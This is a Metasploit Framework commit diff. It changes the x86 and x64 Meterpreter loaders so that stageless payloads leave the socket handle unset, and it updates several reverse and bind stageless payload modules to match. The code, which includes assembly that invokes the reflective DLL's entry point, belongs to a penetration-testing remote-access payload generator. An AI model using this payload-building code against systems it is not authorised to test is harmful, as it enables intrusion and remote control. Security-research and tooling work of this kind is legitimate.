Skip to content

Commit c2dc467

Browse files
committed
Prevent stagless from overwriting socket
Stageless payloads need to have the socket FD left along (ie. 0) otherwise each of them will think that the socket is already open. Instead we need to make sure it's left as 0 as per the configuration and from there the stageless code will fire up a new socket based on the transport in question.
1 parent e835f2b commit c2dc467

12 files changed

+35
-15
lines changed

lib/msf/core/payload/windows/meterpreter_loader.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,21 +50,30 @@ def asm_invoke_metsrv(opts={})
5050
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
5151
; offset from ReflectiveLoader() to the end of the DLL
5252
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
53+
^
54+
55+
unless opts[:stageless]
56+
asm << %Q^
5357
mov [ebx], edi ; write the current socket to the config
58+
^
59+
end
60+
61+
asm << %Q^
5462
push ebx ; push the pointer to the configuration start
5563
push 4 ; indicate that we have attached
5664
push eax ; push some arbitrary value for hInstance
5765
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
5866
^
5967
end
6068

61-
def stage_meterpreter
69+
def stage_meterpreter(stageless=false)
6270
# Exceptions will be thrown by the mixin if there are issues.
6371
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
6472

6573
asm_opts = {
6674
:rdi_offset => offset,
67-
:length => dll.length
75+
:length => dll.length,
76+
:stageless => stageless
6877
}
6978

7079
asm = asm_invoke_metsrv(asm_opts)

lib/msf/core/payload/windows/x64/meterpreter_loader.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,22 +52,31 @@ def asm_invoke_metsrv(opts={})
5252
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
5353
; offset from ReflectiveLoader() to the end of the DLL
5454
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
55+
^
56+
57+
unless opts[:stageless]
58+
asm << %Q^
5559
; store the comms socket handle
5660
mov dword ptr [rbx], edi
61+
^
62+
end
63+
64+
asm << %Q^
5765
mov r8, rbx ; r8 points to the extension list
5866
push 4 ; push up 4, indicate that we have attached
5967
pop rdx ; pop 4 into rdx
6068
call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
6169
^
6270
end
6371

64-
def stage_meterpreter
72+
def stage_meterpreter(stageless=false)
6573
# Exceptions will be thrown by the mixin if there are issues.
6674
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
6775

6876
asm_opts = {
6977
:rdi_offset => offset,
70-
:length => dll.length
78+
:length => dll.length,
79+
:stageless => stageless
7180
}
7281

7382
asm = asm_invoke_metsrv(asm_opts)

modules/payloads/singles/windows/meterpreter_bind_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77
require 'msf/core/transport_config'
88
require 'msf/core/handler/bind_tcp'
9-
require 'msf/core/payload/windows/_meterpreter_loader'
9+
require 'msf/core/payload/windows/meterpreter_loader'
1010
require 'msf/base/sessions/meterpreter_x86_win'
1111
require 'msf/base/sessions/meterpreter_options'
1212

@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def generate
42-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4343
end
4444

4545
def generate_config(opts={})

modules/payloads/singles/windows/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def generate
42-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4343
end
4444

4545
def generate_config(opts={})

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def generate
42-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4343
end
4444

4545
def generate_config(opts={})

modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def initialize(info = {})
4040
end
4141

4242
def generate
43-
stage_meterpreter + generate_config
43+
stage_meterpreter(true) + generate_config
4444
end
4545

4646
def generate_config(opts={})

modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/transport_config'
78
require 'msf/core/handler/reverse_tcp'
89
require 'msf/core/payload/windows/meterpreter_loader'
910
require 'msf/base/sessions/meterpreter_x86_win'
@@ -13,6 +14,7 @@ module Metasploit3
1314

1415
CachedSize = :dynamic
1516

17+
include Msf::TransportConfig
1618
include Msf::Payload::Windows
1719
include Msf::Payload::Single
1820
include Msf::Payload::Windows::MeterpreterLoader
@@ -37,7 +39,7 @@ def initialize(info = {})
3739
end
3840

3941
def generate
40-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4143
end
4244

4345
def generate_config(opts={})

modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def generate
42-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4343
end
4444

4545
def generate_config(opts={})

modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def initialize(info = {})
3838
end
3939

4040
def generate
41-
stage_meterpreter + generate_config
41+
stage_meterpreter(true) + generate_config
4242
end
4343

4444
def generate_config(opts={})

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def generate
42-
stage_meterpreter + generate_config
42+
stage_meterpreter(true) + generate_config
4343
end
4444

4545
def generate_config(opts={})

0 commit comments

Comments
 (0)